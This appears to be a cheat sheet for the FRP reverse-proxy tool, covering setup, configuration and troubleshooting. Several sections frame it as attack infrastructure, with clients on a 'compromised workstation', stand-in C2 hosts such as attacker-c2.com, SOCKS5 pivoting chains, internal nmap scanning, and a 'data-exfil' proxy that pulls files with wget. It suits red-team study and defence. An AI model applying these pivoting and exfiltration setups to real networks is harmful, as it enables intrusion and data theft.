Zum Inhalt springen

FRP (Fast Reverse Proxy)

FRP is a high-performance reverse proxy enabling secure tunneling of services through firewalls and NAT. It uses a server-client architecture where frps runs on an internet-accessible server and frpc runs locally, exposing internal services with encryption, authentication, and advanced routing capabilities.

# Download latest release (Linux x86_64 example)
wget https://github.com/fatedier/frp/releases/download/v0.54.0/frp_0.54.0_linux_amd64.tar.gz
tar -xzf frp_0.54.0_linux_amd64.tar.gz
cd frp_0.54.0_linux_amd64

# Server setup
./frps -c frps.toml

# Client setup
./frpc -c frpc.toml
go install github.com/fatedier/frp/cmd/frps@latest
go install github.com/fatedier/frp/cmd/frpc@latest
frps -c frps.toml
frpc -c frpc.toml
# FRP server container
docker run -d --name frps -p 7000:7000 -p 7500:7500 \
  -v /path/to/frps.toml:/etc/frp/frps.toml \
  snowdreamtech/frps

# FRP client container
docker run -d --name frpc \
  -v /path/to/frpc.toml:/etc/frp/frpc.toml \
  snowdreamtech/frpc

FRP operates in a client-server model:

ComponentRoleLocation
frps (server)Receives reverse proxy requests, forwards traffic to frpc clientsInternet-accessible server (C2, VPS)
frpc (client)Connects to frps, exposes local servicesTarget network (compromised host)
Proxy DefinitionMaps a service (SSH, HTTP, etc.) to a public portfrpc.toml
Control ConnectionPersistent TCP connection between frpc and frpsPort 7000 (default)

Traffic flow: Client requests → frps → frpc → Local service

# frps.toml
bindAddr = "0.0.0.0"
bindPort = 7000

authentication:
  token = "your-secret-token-here"

webServer:
  addr = "0.0.0.0"
  port = 7500

Run server:

./frps -c frps.toml
# frpc.toml
serverAddr = "attacker.example.com"
serverPort = 7000

auth:
  token = "your-secret-token-here"

proxies:
  - name = "ssh"
    type = "tcp"
    localIP = "127.0.0.1"
    localPort = 22
    remotePort = 2222

Run client:

./frpc -c frpc.toml

Access remote SSH: ssh -p 2222 user@attacker.example.com

# Network binding
bindAddr = "0.0.0.0"           # Listen on all interfaces
bindPort = 7000                # Control port for clients
bindUDP = 7001                 # UDP port for UDP proxies

# Logging
log:
  level = "debug"              # debug, info, warn, error
  maxDays = 3
  disablePrintColor = false
# Token-based authentication
authentication:
  token = "supersecrettoken123"
  tokenTimeout = 900           # Token expiration (seconds)

# TLS configuration
transport:
  tls:
    certFile = "/path/to/server.crt"
    keyFile = "/path/to/server.key"
    trustedCaFile = "/path/to/ca.crt"
  
  # Enforce TLS
  disableCustomTLSFirstByte = false
# Web dashboard
webServer:
  addr = "0.0.0.0"
  port = 7500
  user = "admin"
  password = "admin123"
  assetsDir = ""               # Static assets directory

# REST API (same as dashboard)
# GET /api/serverinfo - Server statistics
# GET /api/config - Server configuration
# GET /api/proxies - Active proxies
# Connection pooling
transport:
  maxPoolCount = 5             # Max connections per client
  maxIdleTime = 15             # Connection idle timeout (min)

# Rate limiting
rateLimit = 1000              # Connections per second

# Subdomain routing (for HTTP proxies)
subdomainRouter = "frp.example.com"
# Server connection
serverAddr = "attacker.example.com"
serverPort = 7000
serverUDP = 7001              # For UDP proxies

# Authentication
auth:
  token = "supersecrettoken123"
  method = "token"             # token or oidc

# Transport
transport:
  tls:
    enable = true
    disableCustomTLSFirstByte = false
    trustedCaFile = "/path/to/ca.crt"
  
  useEncryption = true         # Encrypt frpc-frps traffic
  useCompression = true        # Compress tunneled data
  dialServerTimeout = 10       # Connection timeout
  dialKeepAliveInterval = 300  # Keep-alive interval

# Logging
log:
  level = "info"
# Client identification
user = "compromised-workstation-01"
metadatas:
  - key = "hostname"
    value = "DESKTOP-ABC123"
  - key = "os"
    value = "Windows 10"
proxies:
  # Expose local SSH on port 2222
  - name = "ssh-tunnel"
    type = "tcp"
    localIP = "127.0.0.1"
    localPort = 22
    remotePort = 2222
proxies:
  # Expose local DNS
  - name = "dns-tunnel"
    type = "udp"
    localIP = "127.0.0.1"
    localPort = 53
    remotePort = 5353
proxies:
  # Expose local web app on custom domain
  - name = "web-app"
    type = "http"
    localIP = "127.0.0.1"
    localPort = 8080
    customDomains = ["app.frp.example.com"]
    # subdomain = "app"  # Auto: app.subdomainRouter
    
    # Host header rewriting
    hostHeaderRewrite = "localhost:8080"
    
    # HTTP basic auth
    httpUser = "admin"
    httpPassword = "secret123"
proxies:
  - name = "secure-app"
    type = "https"
    localIP = "127.0.0.1"
    localPort = 8443
    customDomains = ["secure.frp.example.com"]
    hostHeaderRewrite = "localhost:8443"

Direct TCP connection with authentication (no public exposure).

# Server-side (frps.toml) - no config needed

# Client-side (frpc.toml)
proxies:
  - name = "secure-ssh"
    type = "stcp"
    secretKey = "secret-key-123"
    localIP = "127.0.0.1"
    localPort = 22

# Visitor (another frpc.toml)
visitors:
  - name = "secure-ssh-visitor"
    type = "stcp"
    secretKey = "secret-key-123"
    serverName = "secure-ssh"
    bindAddr = "127.0.0.1"
    bindPort = 2222

Direct point-to-point connection between two frpc instances.

# Provider (frpc.toml)
proxies:
  - name = "direct-service"
    type = "xtcp"
    secretKey = "p2p-secret"
    localIP = "127.0.0.1"
    localPort = 3389

# Visitor (another frpc.toml)
visitors:
  - name = "direct-service-visitor"
    type = "xtcp"
    secretKey = "p2p-secret"
    serverName = "direct-service"
    bindAddr = "127.0.0.1"
    bindPort = 3389

Encrypted UDP tunnel with authentication.

proxies:
  - name = "secret-udp"
    type = "sudp"
    secretKey = "udp-secret"
    localIP = "127.0.0.1"
    localPort = 53

Multiplex multiple services over single TCP connection (protocol-aware).

# Server config (frps.toml)
tcpmuxHTTPConnectPort = 1337   # Multiplex HTTP CONNECT

# Client config (frpc.toml)
proxies:
  - name = "http-mux"
    type = "tcpmux"
    multiplexer = "httpconnect"
    localIP = "127.0.0.1"
    localPort = 8080
    customDomains = ["app.frp.example.com"]
proxies:
  - name = "ssh"
    type = "tcp"
    localIP = "127.0.0.1"
    localPort = 22
    remotePort = 2222

Access: ssh -p 2222 user@attacker.example.com

proxies:
  - name = "rdp"
    type = "tcp"
    localIP = "127.0.0.1"
    localPort = 3389
    remotePort = 3389
proxies:
  - name = "postgres"
    type = "tcp"
    localIP = "127.0.0.1"
    localPort = 5432
    remotePort = 5432

Connect locally: psql -h 127.0.0.1 -p 5432 -U user dbname

proxies:
  - name = "internal-api"
    type = "tcp"
    localIP = "127.0.0.1"
    localPort = 3000
    remotePort = 3000

Access: curl http://attacker.example.com:3000/api

proxies:
  - name = "web-app"
    type = "http"
    localIP = "127.0.0.1"
    localPort = 8080
    customDomains = ["internal.frp.example.com"]

Access: curl http://internal.frp.example.com

# frps.toml
subdomainRouter = "frp.example.com"

# frpc.toml - auto-generate subdomain
proxies:
  - name = "app1"
    type = "http"
    localIP = "127.0.0.1"
    localPort = 8080
    subdomain = "app1"        # app1.frp.example.com
proxies:
  - name = "internal-site"
    type = "http"
    localIP = "127.0.0.1"
    localPort = 8000
    customDomains = ["site.frp.example.com"]
    hostHeaderRewrite = "internal.local"
proxies:
  - name = "admin-panel"
    type = "http"
    localIP = "127.0.0.1"
    localPort = 9000
    customDomains = ["admin.frp.example.com"]
    httpUser = "admin"
    httpPassword = "P@ssw0rd123"

Clients must provide credentials: curl -u admin:P@ssw0rd123 http://admin.frp.example.com

proxies:
  - name = "api-prod"
    type = "http"
    localIP = "127.0.0.1"
    localPort = 8080
    customDomains = ["api.frp.example.com"]
    
  - name = "admin-prod"
    type = "http"
    localIP = "127.0.0.1"
    localPort = 9000
    customDomains = ["admin.frp.example.com"]
    
  - name = "docs"
    type = "http"
    localIP = "127.0.0.1"
    localPort = 8888
    subdomain = "docs"

Dynamic pivoting through a compromised host.

# frpc.toml
proxies:
  - name = "socks5-proxy"
    type = "tcp"
    plugin = "socks5"
    pluginParams = ""
    remotePort = 1080

Use proxy:

# curl through SOCKS5
curl -x socks5://attacker.example.com:1080 http://internal.service.local

# SSH through SOCKS5
ssh -o ProxyCommand='nc -x attacker.example.com:1080 %h %p' user@internal.host

# nmap through SOCKS5
nmap --proxies socks5://attacker.example.com:1080 192.168.1.0/24

Forward multiple ports for network scanning.

proxies:
  - name = "port-range"
    type = "tcp"
    localIP = "127.0.0.1"
    localPort = 1-65535        # Dangerous: all ports
    remotePort = 10000-75535

  # Safer: specific range
  - name = "web-services"
    type = "tcp"
    localIP = "127.0.0.1"
    localPort = 80,443,8000-8999
    remotePort = 80,443,8000-8999

Access individual ports:

ssh -p 10022 user@attacker.example.com    # Local port 22 → remote 10022
# frpc.toml
transport:
  tls:
    enable = true
    certFile = "/path/to/client.crt"
    keyFile = "/path/to/client.key"
    trustedCaFile = "/path/to/ca.crt"
    # Skip verification (testing only)
    insecureSkipVerify = true

# Custom TLS first byte (bypass firewalls)
transport:
  tls:
    disableCustomTLSFirstByte = false
transport:
  useCompression = true       # Gzip compression
  useEncryption = true        # XOR-based encryption

Reduce bandwidth:

# Compression ratio for typical web traffic: 60-70%
# Encryption adds ~10% overhead
# frps.toml
authentication:
  token = "complex-secret-token-with-entropy"
  tokenTimeout = 900

# frpc.toml
auth:
  token = "complex-secret-token-with-entropy"
  method = "token"
# frps.toml
authentication:
  oidc:
    issuer = "https://auth.example.com"
    audience = "frp-server"
    clientID = "frp-client-id"
    clientSecret = "frp-client-secret"
    
# frpc.toml
auth:
  method = "oidc"
  oidc:
    clientID = "frp-client-id"
    clientSecret = "frp-client-secret"
    tokenEndpointURL = "https://auth.example.com/token"
# frps.toml
webServer:
  addr = "0.0.0.0"
  port = 7500
  user = "admin"
  password = "dashboard123"
  assetsDir = "./static"

Access: http://frps-server:7500 (credentials: admin/dashboard123)

Dashboard shows:

  • Connected clients
  • Active proxies
  • Traffic statistics
  • Proxy status (running/error)
# Server info
curl -u admin:dashboard123 http://frps:7500/api/serverinfo

# List proxies
curl -u admin:dashboard123 http://frps:7500/api/proxies

# Client info
curl -u admin:dashboard123 http://frps:7500/api/config

# Traffic stats
curl -u admin:dashboard123 http://frps:7500/api/proxies/{proxy_name}

Direct connection between clients without frps intermediary (reduces latency).

# frpc1.toml (Provider)
proxies:
  - name = "direct-tunnel"
    type = "xtcp"
    secretKey = "p2p-secret-key"
    localIP = "192.168.1.100"
    localPort = 3389

# frpc2.toml (Visitor on different network)
visitors:
  - name = "direct-tunnel-visitor"
    type = "xtcp"
    secretKey = "p2p-secret-key"
    serverName = "direct-tunnel"
    bindAddr = "127.0.0.1"
    bindPort = 3389

Usage: Connect to 127.0.0.1:3389 for direct P2P access to provider’s service.

# frpc.toml on compromised workstation
serverAddr = "attacker-c2.com"
serverPort = 7000
auth:
  token = "red-team-token"

proxies:
  # Expose internal SOCKS5 proxy
  - name = "pivot-socks5"
    type = "tcp"
    plugin = "socks5"
    remotePort = 1080
    
  # Expose internal SSH
  - name = "internal-ssh"
    type = "tcp"
    localIP = "127.0.0.1"
    localPort = 22
    remotePort = 2222

From attacker C2:

# Tunnel through SOCKS5 to internal network
curl -x socks5://attacker-c2.com:1080 http://192.168.100.50:8080

# SSH to compromised host
ssh -p 2222 admin@attacker-c2.com
# Host1 (first compromised)
proxies:
  - name = "socks-hop1"
    type = "tcp"
    plugin = "socks5"
    remotePort = 1080

# Host2 (second compromised)
proxies:
  - name = "socks-hop2"
    type = "tcp"
    plugin = "socks5"
    remotePort = 1081

Chain setup:

# Access Host1's network through Host2
ssh -o ProxyCommand="nc -x attacker-c2.com:1080 %h %p" \
    -o ProxyUseFdpass=no user@192.168.100.100

# Then from Host2, access Host3 through Host1
ssh -o ProxyCommand="nc -x localhost:1080 %h %p" user@10.0.0.50
proxies:
  # Expose file server for data exfil
  - name = "data-exfil"
    type = "http"
    localIP = "127.0.0.1"
    localPort = 8080          # Python SimpleHTTPServer
    customDomains = ["exfil.attacker-c2.com"]

On compromised host:

# Start file server
cd /path/to/files
python3 -m http.server 8080

From attacker:

wget -r http://exfil.attacker-c2.com
proxies:
  - name = "enum-80"
    type = "tcp"
    localIP = "127.0.0.1"
    localPort = 80
    remotePort = 8080
    
  - name = "enum-443"
    type = "tcp"
    localIP = "127.0.0.1"
    localPort = 443
    remotePort = 8443
    
  - name = "enum-3306"
    type = "tcp"
    localIP = "127.0.0.1"
    localPort = 3306
    remotePort = 3306
    
  - name = "enum-5432"
    type = "tcp"
    localIP = "127.0.0.1"
    localPort = 5432
    remotePort = 5432

Enumerate:

nmap -p 8080,8443,3306,5432 attacker-c2.com
# Check frps is listening
netstat -tlnp | grep 7000

# Verify firewall allows incoming
sudo ufw allow 7000/tcp
Error: invalid token

Solution: Verify auth.token in frpc.toml matches authentication.token in frps.toml.

# Check frpc logs
./frpc -c frpc.toml

# Validate TOML syntax
toml-lint frpc.toml
# Disable compression if latency is priority
transport:
  useCompression = false

# Increase connection pool
transport:
  maxPoolCount = 10
# Change remotePort to available port
remotePort = 9999

# Or find process using port
lsof -i :7000
kill -9 <PID>
# Generate self-signed cert (testing)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

# Update frpc.toml
transport:
  tls:
    trustedCaFile = "/path/to/cert.pem"
    insecureSkipVerify = true    # Testing only!
PracticeDescription
Rotate tokensChange auth.token regularly; log rotation attempts
Use TLSEnable transport.tls for frpc-frps channel
Encrypt payloadsEnable transport.useEncryption
Limit scopeOnly expose necessary ports/services
Monitor connectionsCheck dashboard for unauthorized proxies
Firewall rulesRestrict frps bind port (7000) to trusted IPs
Rate limitingSet rateLimit to prevent DoS
Log aggregationForward frps/frpc logs to SIEM
Separate C2Run frps on isolated C2 infrastructure
Authenticate clientsUse token or OIDC, not default auth
ToolPurposeAdvantage
ChiselHTTP/SOCKS tunnelingSingle binary, built-in SOCKS
Ligolo-ngTUN-based pivotingCreates virtual interface, transparent routing
SSH tunnelingPort forwarding via SSHAlready available on most targets
ngrokPublic URL tunnelingEasy external exposure, but public logs
VenomProxy/tunnel frameworkMulti-protocol support
GostGO Simple TunnelLightweight, flexible

Quick Reference:

  • Server: ./frps -c frps.toml
  • Client: ./frpc -c frpc.toml
  • Dashboard: http://frps:7500
  • Default ports: 7000 (control), 7001 (UDP), 7500 (web)
  • Auth: Token-based via auth.token
  • Encryption: transport.useEncryption = true